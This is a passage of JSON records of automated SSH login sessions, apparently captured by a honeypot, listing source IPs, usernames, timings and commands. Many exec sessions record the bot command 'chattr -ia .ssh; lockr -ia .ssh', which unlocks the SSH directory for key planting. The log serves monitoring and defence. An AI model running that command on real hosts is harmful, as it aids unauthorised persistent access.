  "started_at": "2026-08-27T12:53:29.475090+00:00",
  "ended_at": "2026-08-27T12:53:30.458786+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e99b7554-cd6d-4e29-b885-01eb13750ad8",
  "name": "mottled-snowy-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 50048,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:53:25.930406+00:00",
  "ended_at": "2026-08-27T12:53:27.848701+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "156ef38e-9668-4b05-bf53-1206e99e3023",
  "name": "deft-idle-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 50036,
  "username": "dev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:53:23.395842+00:00",
  "ended_at": "2026-08-27T12:53:24.180134+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "dc7fc61d-c17f-4018-ba98-b97ee9b95beb",
  "name": "sullen-restless-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59912,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 445,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:53:15.753493+00:00",
  "ended_at": "2026-08-27T12:53:16.740548+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "77710284-4161-446e-8859-906685782872",
  "name": "arctic-graceful-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59928,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:52:57.654567+00:00",
  "ended_at": "2026-08-27T12:52:59.368626+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5c15625a-5be1-417f-bce9-e2acf76762c9",
  "name": "icy-sandy-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59922,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:52:55.794854+00:00",
  "ended_at": "2026-08-27T12:52:56.745849+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "da95395f-4d56-434c-89f1-495aa10cf491",
  "name": "golden-blithe-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 33882,
  "username": "uno50",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 302,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:52:16.604226+00:00",
  "ended_at": "2026-08-27T12:52:18.682721+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "78a8cc11-6c52-432a-94c1-d67d09add5fd",
  "name": "vivid-eager-jackal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 33904,
  "username": "uno50",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:52:00.171763+00:00",
  "ended_at": "2026-08-27T12:52:01.977077+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b474a105-1c8f-4b7a-a107-b6513d19cb4c",
  "name": "wandering-icy-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 51332,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 330,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:51:59.998119+00:00",
  "ended_at": "2026-08-27T12:52:01.203481+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "dc2b2b05-6da5-4349-a46c-6fe0ff972213",
  "name": "solar-cunning-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 33888,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:51:58.806678+00:00",
  "ended_at": "2026-08-27T12:51:59.598623+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2897646-8b8c-4303-9a5d-3797ee2e4dfe",
  "name": "cheerful-curious-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 51360,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:51:45.114700+00:00",
  "ended_at": "2026-08-27T12:51:46.134080+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4417d94e-4742-48ba-bf9a-5b22b39406e6",
  "name": "seaward-crimson-wallaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 51346,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:51:43.015582+00:00",
  "ended_at": "2026-08-27T12:51:44.461515+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bd409d2b-ed61-4abf-a487-c971f7a166d4",
  "name": "bronzed-drifting-hornbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 56738,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:50:48.404055+00:00",
  "ended_at": "2026-08-27T12:50:51.060389+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "525a320e-53b1-45f4-9b2b-bdd6b92bfca2",
  "name": "sleepy-candid-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 56734,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:50:45.363239+00:00",
  "ended_at": "2026-08-27T12:50:46.201257+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a25beac5-9f37-499c-bc7a-3fa874c92795",
  "name": "tender-silent-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 56730,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:50:42.439601+00:00",
  "ended_at": "2026-08-27T12:50:43.568009+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "8dcaad64-e205-4415-9abc-8f80854c23a5",
  "name": "subtle-nautical-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59896,
  "username": "ftp_user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 457,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:50:33.190371+00:00",
  "ended_at": "2026-08-27T12:50:34.730862+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2269
 },
 {
  "id": "e0063e0c-2d86-42e5-9cad-9df45150e8d1",
  "name": "hidden-fickle-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59904,
  "username": "ftp_user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:50:16.154380+00:00",
  "ended_at": "2026-08-27T12:50:17.497116+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "97ddf43f-7b8f-435f-a483-ec7f2c71894d",
  "name": "quiet-tender-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59900,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:50:14.264379+00:00",
  "ended_at": "2026-08-27T12:50:15.274806+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4a112586-0f77-4dc3-aabb-2798e3b81c19",
  "name": "gilded-arctic-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 40032,
  "username": "deployer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 304,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:50:12.209359+00:00",
  "ended_at": "2026-08-27T12:50:14.002867+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "cb0458d2-31f8-45cb-9f97-3a084e4984b1",
  "name": "lucid-gnarled-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 40056,
  "username": "deployer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:49:58.358753+00:00",
  "ended_at": "2026-08-27T12:49:59.436157+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dd05d352-deb2-4686-8fd3-2bedf4f19476",
  "name": "frosty-electric-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 40492,
  "username": "dan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:49:57.375321+00:00",
  "ended_at": "2026-08-27T12:49:59.504062+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2244
 },
 {
  "id": "662465a7-be85-4be5-b1b0-d3bfdf1f8977",
  "name": "mindful-golden-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 40044,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:49:57.076348+00:00",
  "ended_at": "2026-08-27T12:49:57.762035+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3c97d983-e6d4-4c13-ae82-f8fb16ae5619",
  "name": "bashful-ruddy-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37328,
  "username": "dan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:49:39.449497+00:00",
  "ended_at": "2026-08-27T12:49:40.533083+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6d170bc1-9f8f-4028-9fa5-03ba9609dc07",
  "name": "craggy-solar-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 40498,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:49:37.758480+00:00",
  "ended_at": "2026-08-27T12:49:38.795007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e9ac9781-b6f7-4d1b-9710-b63a0400c5a2",
  "name": "scarlet-cunning-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 52412,
  "username": "cps",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:48:15.012512+00:00",
  "ended_at": "2026-08-27T12:48:17.108387+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "072ecce3-fc5c-41e7-bf46-f794ce3d5c5d",
  "name": "gentle-calm-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 40636,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:48:06.599294+00:00",
  "ended_at": "2026-08-27T12:48:09.011219+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5fff8a62-087e-4a32-ac52-29693e593232",
  "name": "vivid-quartz-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 40626,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:48:03.682643+00:00",
  "ended_at": "2026-08-27T12:48:05.102033+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ba15888a-0d9a-4a92-8497-175841418d63",
  "name": "gloomy-kindly-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 40624,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:48:01.055435+00:00",
  "ended_at": "2026-08-27T12:48:01.885247+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "8d69b4fa-ab7e-4ecc-a15e-72c12cd0c448",
  "name": "genial-creaky-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 52442,
  "username": "cps",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:47:59.133317+00:00",
  "ended_at": "2026-08-27T12:48:00.603248+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2be61374-7157-471c-8912-bee3a0601c04",
  "name": "prairie-whispering-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59854,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 446,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:47:57.972467+00:00",
  "ended_at": "2026-08-27T12:47:59.174021+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "c6511889-3ecf-4853-bfad-6be0f693ce86",
  "name": "zealous-freckled-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 52426,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:47:57.131415+00:00",
  "ended_at": "2026-08-27T12:47:58.555706+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a91607e8-e524-40e0-9e00-a167432f342e",
  "name": "sullen-marine-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 41434,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 347,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:47:51.603044+00:00",
  "ended_at": "2026-08-27T12:47:53.744422+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "e6b750e1-5b54-45ef-ade8-4cafd4c740f7",
  "name": "faded-boreal-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59882,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:47:40.981594+00:00",
  "ended_at": "2026-08-27T12:47:41.981559+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9ea6d40a-8b05-4e34-820b-657acea2e7e8",
  "name": "jaunty-scarlet-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59870,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:47:39.299514+00:00",
  "ended_at": "2026-08-27T12:47:40.102246+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e665c71c-fb6a-4d64-aeba-bcae6fdfe8d0",
  "name": "prickly-velvet-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 41450,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:47:35.352041+00:00",
  "ended_at": "2026-08-27T12:47:36.453911+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4dabd30c-efd9-49e2-aa9f-29ed9f7feed1",
  "name": "wooded-supple-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 41446,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:47:33.887321+00:00",
  "ended_at": "2026-08-27T12:47:34.663088+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bcb3156c-dcdd-4d14-99f9-61451f6e2656",
  "name": "smoky-lucid-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 44914,
  "username": "ansible",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:46:06.093448+00:00",
  "ended_at": "2026-08-27T12:46:08.345573+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2260
 },
 {
  "id": "5559e721-6a86-4e90-bdf4-92487a3505ca",
  "name": "salty-murky-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 55536,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:45:53.445340+00:00",
  "ended_at": "2026-08-27T12:45:55.408876+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "ff00251c-88a1-4a9d-9dcb-00e8ad4b0e5a",
  "name": "tawny-humble-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 44940,
  "username": "ansible",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:45:51.488218+00:00",
  "ended_at": "2026-08-27T12:45:52.474235+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d848c5aa-6d74-4fbf-bb38-b26e85e4d9ba",
  "name": "western-civil-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 44928,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:45:50.299842+00:00",
  "ended_at": "2026-08-27T12:45:50.902905+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0a9c0917-4568-4ddd-b03b-9be891130aed",
  "name": "calm-frank-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 41086,
  "username": "cuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1447,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:45:40.558808+00:00",
  "ended_at": "2026-08-27T12:45:41.891143+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "3a8dc6c6-23f1-4d90-bd5d-43805cefd14e",
  "name": "muted-granite-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 45466,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:45:31.117745+00:00",
  "ended_at": "2026-08-27T12:45:32.320954+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c23a44c5-a723-4247-855a-f2824f680fc6",
  "name": "mighty-gentle-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 45450,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:45:29.367940+00:00",
  "ended_at": "2026-08-27T12:45:30.466394+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8b312082-94b9-4a3e-a9b9-706b74821f85",
  "name": "dutiful-murky-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59826,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 442,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:45:18.685494+00:00",
  "ended_at": "2026-08-27T12:45:20.012052+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "96a3a65c-c58f-4dc6-af10-dae7786f61bb",
  "name": "silent-granite-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 42704,
  "username": "cuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:45:12.575024+00:00",
  "ended_at": "2026-08-27T12:45:14.389049+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9b76ebcd-253a-45bd-a4c2-9b678b0dabcb",
  "name": "oaken-hushed-muntjac",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 42696,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:45:09.257541+00:00",
  "ended_at": "2026-08-27T12:45:10.116714+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b5e6c07d-286e-458a-a0fc-17af7b21e305",
  "name": "mottled-jaunty-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59848,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:45:01.174446+00:00",
  "ended_at": "2026-08-27T12:45:02.204623+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cfec09c7-b246-434d-9716-f24856d32047",
  "name": "drifting-cheerful-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59834,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:44:59.575751+00:00",
  "ended_at": "2026-08-27T12:45:00.283935+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d744511d-1abc-472a-bd84-11855955c36a",
  "name": "fickle-reedy-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 43668,
  "username": "xie",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 300,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:44:00.286548+00:00",
  "ended_at": "2026-08-27T12:44:01.812020+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "2b4decfd-7187-4a21-81f0-e9b3932d8cf6",
  "name": "prairie-ancient-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 57150,
  "username": "lighthouse",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
